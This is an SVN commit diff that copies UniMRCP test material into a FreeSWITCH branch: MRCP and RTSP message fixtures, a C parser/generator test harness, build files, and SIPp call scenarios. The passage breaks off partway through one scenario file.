+                 <item xml:lang="fr-CA">oui</item>
+                 <item xml:lang="en-US">yes</item>
+           </one-of>
+     </rule>
+
+<!-- single language attachment to a rule expansion -->
+     <rule id="request">
+           may I speak to
+           <one-of xml:lang="fr-CA">
+                 <item>Michel Tremblay</item>
+                 <item>Andre Roy</item>
+           </one-of>
+     </rule>
+</grammar>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/setparams.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/setparams.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/setparams.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/setparams.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/setparams.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+MRCP/2.0 119 SET-PARAMS 543256
+Channel-Identifier:32AECB23433802@speechsynth
+Voice-gender:female
+Voice-variant:3
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speak.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speak.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/speak.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speak.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speak.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,26 @@
+MRCP/2.0 732 SPEAK 543257
+Channel-Identifier:32AECB23433802@speechsynth
+Voice-gender:neutral
+Voice-Age:25
+Prosody-volume:medium
+Content-Type:application/ssml+xml
+Content-Length:542
+
+<?xml version="1.0"?>
+<speak version="1.0"
+	xmlns="http://www.w3.org/2001/10/synthesis"
+	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+	xsi:schemaLocation="http://www.w3.org/2001/10/synthesis
+	   http://www.w3.org/TR/speech-synthesis/synthesis.xsd"
+	xml:lang="en-US">
+	<p>
+	 <s>You have 4 new messages.</s>
+	 <s>The first is from Stephanie Williams and arrived at
+		<break/>
+		<say-as interpret-as="vxml:time">0345p</say-as>.
+		</s>
+	 <s>The subject is
+			<prosody rate="-20%">ski trip</prosody>
+	 </s>
+	</p>
+</speak>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speakcomplete.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speakcomplete.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/speakcomplete.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speakcomplete.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/speakcomplete.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+MRCP/2.0 161 SPEAK-COMPLETE 543257 COMPLETE
+Channel-Identifier:32AECB23433802@speechsynth
+Completion-Cause:000 normal
+Speech-Marker:timestamp=857206027059
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/stop.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/stop.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/v2/stop.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/stop.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/v2/stop.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+MRCP/2.0 74 STOP 543258
+Channel-Identifier:32AECB23433802@speechsynth
+

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES             = -I$(top_srcdir)/libs/uni-rtsp/include \
+                       -I$(top_srcdir)/libs/apr-toolkit/include \
+                       $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_PROGRAMS      = rtsptest
+rtsptest_LDADD       = $(top_builddir)/libs/uni-rtsp/libunirtsp.la \
+                       $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                       $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS)
+rtsptest_SOURCES     = src/main.c \
+                       src/parse_gen_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/announce.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/announce.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/announce.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/announce.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/announce.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+ANNOUNCE rtsp://media.server.com/media/synthesizer RTSP/1.0
+CSeq:4
+Session:12345678
+Content-Type:application/mrcp
+Content-Length:567
+
+SPEAK 543257 MRCP/1.0
+Kill-On-Barge-In:false
+Voice-gender:neutral
+Prosody-volume:medium
+Content-Type:application/synthesis+ssml
+Content-Length:412
+
+<?xml version="1.0"?>
+<speak>
+<paragraph>
+       <sentence>You have 4 new messages.</sentence>
+       <sentence>The first is from <say-as type="name">Stephanie Williams</say-as> 
+       <mark name="Stephanie"/> and arrived at <break/>
+       <say-as type="time">3:45pm</say-as>.</sentence>
+       
+       <sentence>The subject is <prosody rate="-20%">ski trip</prosody></sentence>
+</paragraph>
+</speak>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ok.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ok.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/ok.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ok.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ok.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+RTSP/1.0 200 OK
+CSeq:2
+Transport:RTP/AVP;unicast;client_port=46456-46457;server_port=46460-46461
+Session:12345678
+Content-Length:188
+Content-Type:application/sdp
+
+v=0
+o=- 3211724219 3211724219 IN IP4 10.3.2.88
+s=Media Server
+c=IN IP4 0.0.0.0
+t=0 0
+m=audio 46460 RTP/AVP 0 96
+a=rtpmap:0 pcmu/8000
+a=rtpmap:96 telephone-event/8000
+a=fmtp:96 0-15
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-ok.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-ok.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/re-ok.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-ok.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-ok.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+RTSP/1.0 200 OK
+CSeq:3
+Transport:RTP/AVP;unicast;client_port=46456-46457;
+         server_port=46460-46461;mode=record;ttl=127
+Session:12345678
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-setup.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-setup.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/re-setup.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-setup.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/re-setup.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+SETUP rtsp://media.server.com/media/recognizer RTSP/1.0
+CSeq:3
+Transport:RTP/AVP;unicast;client_port=46456-46457;
+         mode=record;ttl=127
+Session:12345678;timeout=200
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/setup.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/setup.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/setup.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/setup.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/setup.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+SETUP rtsp://media.server.com/media/synthesizer RTSP/1.0
+CSeq:2
+Transport:RTP/AVP;unicast;client_port=46456-46457
+Content-Type:application/sdp
+Content-Length:188
+
+v=0
+o=- 123 456 IN IP4 10.0.0.1
+s=Media Server
+p=+1-888-555-1212
+c=IN IP4 0.0.0.0
+t=0 0
+m=audio 0 RTP/AVP 0 96
+a=rtpmap:0 pcmu/8000
+a=rtpmap:96 telephone-event/8000
+a=fmtp:96 0-15
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/teardown.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/teardown.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/teardown.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/teardown.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/teardown.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+TEARDOWN rtsp://media.server.com/media/synthesizer RTSP/1.0
+CSeq:12
+Session:12345678
+

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ultimate.msg

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ultimate.msg (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/msg/ultimate.msg) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ultimate.msg	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/msg/ultimate.msg	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+RTSP/1.0 200 OK
+CSeq:3
+Transport:RTP/AVP;unicast;client_port=46456-46457;
+         server_port=46460-46461;mode=record;ttl=127
+Session:12345678
+
+SETUP rtsp://media.server.com/media/synthesizer RTSP/1.0
+CSeq:2
+Transport:RTP/AVP;unicast;client_port=46456-46457
+Content-Type:application/sdp
+Content-Length:190
+
+v=0
+o=- 123 456 IN IP4 10.0.0.1
+s=Media Server
+p=+1-888-555-1212
+c=IN IP4 0.0.0.0
+t=0 0
+m=audio 0 RTP/AVP 0 96
+a=rtpmap:0 pcmu/8000
+a=rtpmap:96 telephone-event/8000
+a=fmtp:96 0-15
+ANNOUNCE rtsp://media.server.com/media/synthesizer RTSP/1.0
+CSeq:4
+Session:12345678
+Content-Type:application/mrcp
+Content-Length:567
+
+SPEAK 543257 MRCP/1.0
+Kill-On-Barge-In:false
+Voice-gender:neutral
+Prosody-volume:medium
+Content-Type:application/synthesis+ssml
+Content-Length:412
+
+<?xml version="1.0"?>
+<speak>
+<paragraph>
+       <sentence>You have 4 new messages.</sentence>
+       <sentence>The first is from <say-as type="name">Stephanie Williams</say-as> 
+       <mark name="Stephanie"/> and arrived at <break/>
+       <say-as type="time">3:45pm</say-as>.</sentence>
+       
+       <sentence>The subject is <prosody rate="-20%">ski trip</prosody></sentence>
+</paragraph>
+</speak>
\ No newline at end of file

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/rtsptest.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/rtsptest.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/rtsptest.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/rtsptest.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/rtsptest.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,167 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="rtsptest"
+	ProjectGUID="{17A33F3F-BAF5-403F-8EF4-FECDA7D9A335}"
+	RootNamespace="rtsptest"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="unirtsp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unirtsp.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="unirtsp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\parse_gen_suite.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_log.h"
+
+apt_test_suite_t* parse_gen_test_suite_create(apr_pool_t *pool);
+
+int main(int argc, const char * const *argv)
+{
+	apt_test_framework_t *test_framework;
+	apt_test_suite_t *test_suite;
+	apr_pool_t *pool;
+	
+	/* one time apr global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		return 0;
+	}
+
+	/* create test framework */
+	test_framework = apt_test_framework_create();
+	pool = apt_test_framework_pool_get(test_framework);
+
+	/* create test suites and add them to test framework */
+	test_suite = parse_gen_test_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+
+	/* run tests */
+	apt_test_framework_run(test_framework,argc,argv);
+
+	/* destroy test framework */
+	apt_test_framework_destroy(test_framework);
+
+	/* final apr global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/parse_gen_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/parse_gen_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/rtsptest/src/parse_gen_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/parse_gen_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/rtsptest/src/parse_gen_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_file_info.h>
+#include <apr_file_io.h>
+#include "apt_test_suite.h"
+#include "apt_log.h"
+#include "rtsp_stream.h"
+
+static apt_bool_t test_stream_generate(rtsp_generator_t *generator, rtsp_message_t *message)
+{
+	char buffer[500];
+	apt_text_stream_t stream;
+	rtsp_stream_result_e result;
+	apt_bool_t continuation;
+
+	rtsp_generator_message_set(generator,message);
+	do {
+		apt_text_stream_init(&stream,buffer,sizeof(buffer)-1);
+		continuation = FALSE;
+		result = rtsp_generator_run(generator,&stream);
+		if(result == RTSP_STREAM_MESSAGE_COMPLETE) {
+			stream.text.length = stream.pos - stream.text.buf;
+			*stream.pos = '\0';
+			apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Generated RTSP Stream [%lu bytes]\n%s",stream.text.length,stream.text.buf);
+		}
+		else if(result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+			*stream.pos = '\0';
+			apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Generated RTSP Stream [%lu bytes] continuation awaiting\n%s",stream.text.length,stream.text.buf);
+			continuation = TRUE;
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate RTSP Stream");
+		}
+	}
+	while(continuation == TRUE);
+	return TRUE;
+}
+
+static apt_bool_t rtsp_message_handler(void *obj, rtsp_message_t *message, rtsp_stream_result_e result)
+{
+	if(result == RTSP_STREAM_MESSAGE_COMPLETE) {
+		/* message is completely parsed */
+		rtsp_generator_t *generator = obj;
+		test_stream_generate(generator,message);
+	}
+	return TRUE;
+}
+
+static apt_bool_t test_file_process(apt_test_suite_t *suite, const char *file_path)
+{
+	apr_file_t *file;
+	char buffer[500];
+	apt_text_stream_t stream;
+	rtsp_parser_t *parser;
+	rtsp_generator_t *generator;
+	apr_size_t length;
+	apr_size_t offset;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open File [%s]",file_path);
+	if(apr_file_open(&file,file_path,APR_FOPEN_READ | APR_FOPEN_BINARY,APR_OS_DEFAULT,suite->pool) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open File");
+		return FALSE;
+	}
+
+	parser = rtsp_parser_create(suite->pool);
+	generator = rtsp_generator_create(suite->pool);
+
+	apt_text_stream_init(&stream,buffer,sizeof(buffer)-1);
+
+	do {
+		/* init length of the stream */
+		stream.text.length = sizeof(buffer)-1;
+		/* calculate offset remaining from the previous receive / if any */
+		offset = stream.pos - stream.text.buf;
+		/* calculate available length */
+		length = stream.text.length - offset;
+
+		if(apr_file_read(file,stream.pos,&length) != APR_SUCCESS) {
+			break;
+		}
+		/* calculate actual length of the stream */
+		stream.text.length = offset + length;
+		stream.pos[length] = '\0';
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Parse RTSP Stream [%lu bytes]\n%s",length,stream.pos);
+		
+		/* reset pos */
+		stream.pos = stream.text.buf;
+		rtsp_stream_walk(parser,&stream,rtsp_message_handler,generator);
+	}
+	while(apr_file_eof(file) != APR_EOF);
+
+	apr_file_close(file);
+	return TRUE;
+}
+
+static apt_bool_t test_dir_process(apt_test_suite_t *suite)
+{
+	apr_status_t rv;
+	apr_dir_t *dir;
+
+	const char *dir_name = "msg";
+	if(apr_dir_open(&dir,dir_name,suite->pool) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot Open Directory [%s]",dir_name);
+		return FALSE;
+	}
+
+	do {
+		apr_finfo_t finfo;
+		rv = apr_dir_read(&finfo,APR_FINFO_DIRENT,dir);
+		if(rv == APR_SUCCESS) {
+			if(finfo.filetype == APR_REG && finfo.name) {
+				char *file_path;
+				apr_filepath_merge(&file_path,dir_name,finfo.name,0,suite->pool);
+				test_file_process(suite,file_path);
+				printf("\nPress ENTER to continue\n");
+				getchar();
+			}
+		}
+	} 
+	while(rv == APR_SUCCESS);
+
+	apr_dir_close(dir);
+	return TRUE;
+}
+
+static apt_bool_t parse_gen_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	test_dir_process(suite);
+	return TRUE;
+}
+
+apt_test_suite_t* parse_gen_test_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"parse-gen",NULL,parse_gen_test_run);
+	return suite;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_multi

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_multi (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uac_multi) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_multi	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_multi	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Multiple Resources UAC">
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>
+      Call-ID: [call_id]
+      CSeq: 1 INVITE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Type: application/sdp
+      Content-Length: [len]
+
+      v=0
+      o=user1 53655765 2353687637 IN IP4 [local_ip]
+      s=-
+      c=IN IP4 [media_ip]
+      t=0 0
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechsynth
+      a=cmid:1
+      m=application 9 TCP/MRCPv2 1
+      a=setup:active
+      a=connection:new
+      a=resource:speechrecog
+      a=cmid:1
+      m=audio [media_port] RTP/AVP 0 8
+      a=sendrecv
+      a=mid:1
+
+	]]>
+  </send>
+
+  <recv response="100"
+        optional="true">
+  </recv>
+
+  <recv response="180" optional="true">
+  </recv>
+
+  <!-- By adding rrs="true" (Record Route Sets), the route sets         -->
+  <!-- are saved and used for following messages sent. Useful to test   -->
+  <!-- against stateful SIP proxies/B2BUAs.                             -->
+  <recv response="200" rtd="true">
+  </recv>
+
+  <!-- Packet lost can be simulated in any send/recv message by         -->
+  <!-- by adding the 'lost = "10"'. Value can be [1-100] percent.       -->
+  <send>
+    <![CDATA[
+
+      ACK sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 1 ACK
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <!-- This delay can be customized by the -d command-line option       -->
+  <!-- or by adding a 'milliseconds = "value"' option here.             -->
+  <pause/>
+
+  <!-- The 'crlf' option inserts a blank line in the statistics report. -->
+  <send retrans="500">
+    <![CDATA[
+
+      BYE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
+      To: sut <sip:[service]@[remote_ip]:[remote_port]>[peer_tag_param]
+      Call-ID: [call_id]
+      CSeq: 2 BYE
+      Contact: sip:sipp@[local_ip]:[local_port]
+      Max-Forwards: 70
+      Subject: Performance Test
+      Content-Length: 0
+
+    ]]>
+  </send>
+
+  <recv response="200" crlf="true">
+  </recv>
+
+  <!-- definition of the response time repartition table (unit is ms)   -->
+  <ResponseTimeRepartition value="10, 20, 30, 40, 50, 100, 150, 200"/>
+
+  <!-- definition of the call length repartition table (unit is ms)     -->
+  <CallLengthRepartition value="10, 50, 100, 500, 1000, 5000, 10000"/>
+
+</scenario>

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_recog

Copied: freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_recog (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/sipp/mrcp_uac_recog) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_recog	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/sipp/mrcp_uac_recog	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="ISO-8859-1" ?>
+<!DOCTYPE scenario SYSTEM "sipp.dtd">
+
+
+<scenario name="MRCP Recognizer Resource UAC">
+  <!-- In client mode (sipp placing calls), the Call-ID MUST be         -->
+  <!-- generated by sipp. To do so, use [call_id] token.                -->
+  <send retrans="500">
+    <![CDATA[
+
+      INVITE sip:[service]@[remote_ip]:[remote_port] SIP/2.0
+      Via: SIP/2.0/[transport] [local_ip]:[local_port];branch=[branch]
+      From: sipp <sip:sipp@[local_ip]:[local_port]>;tag=[call_number]
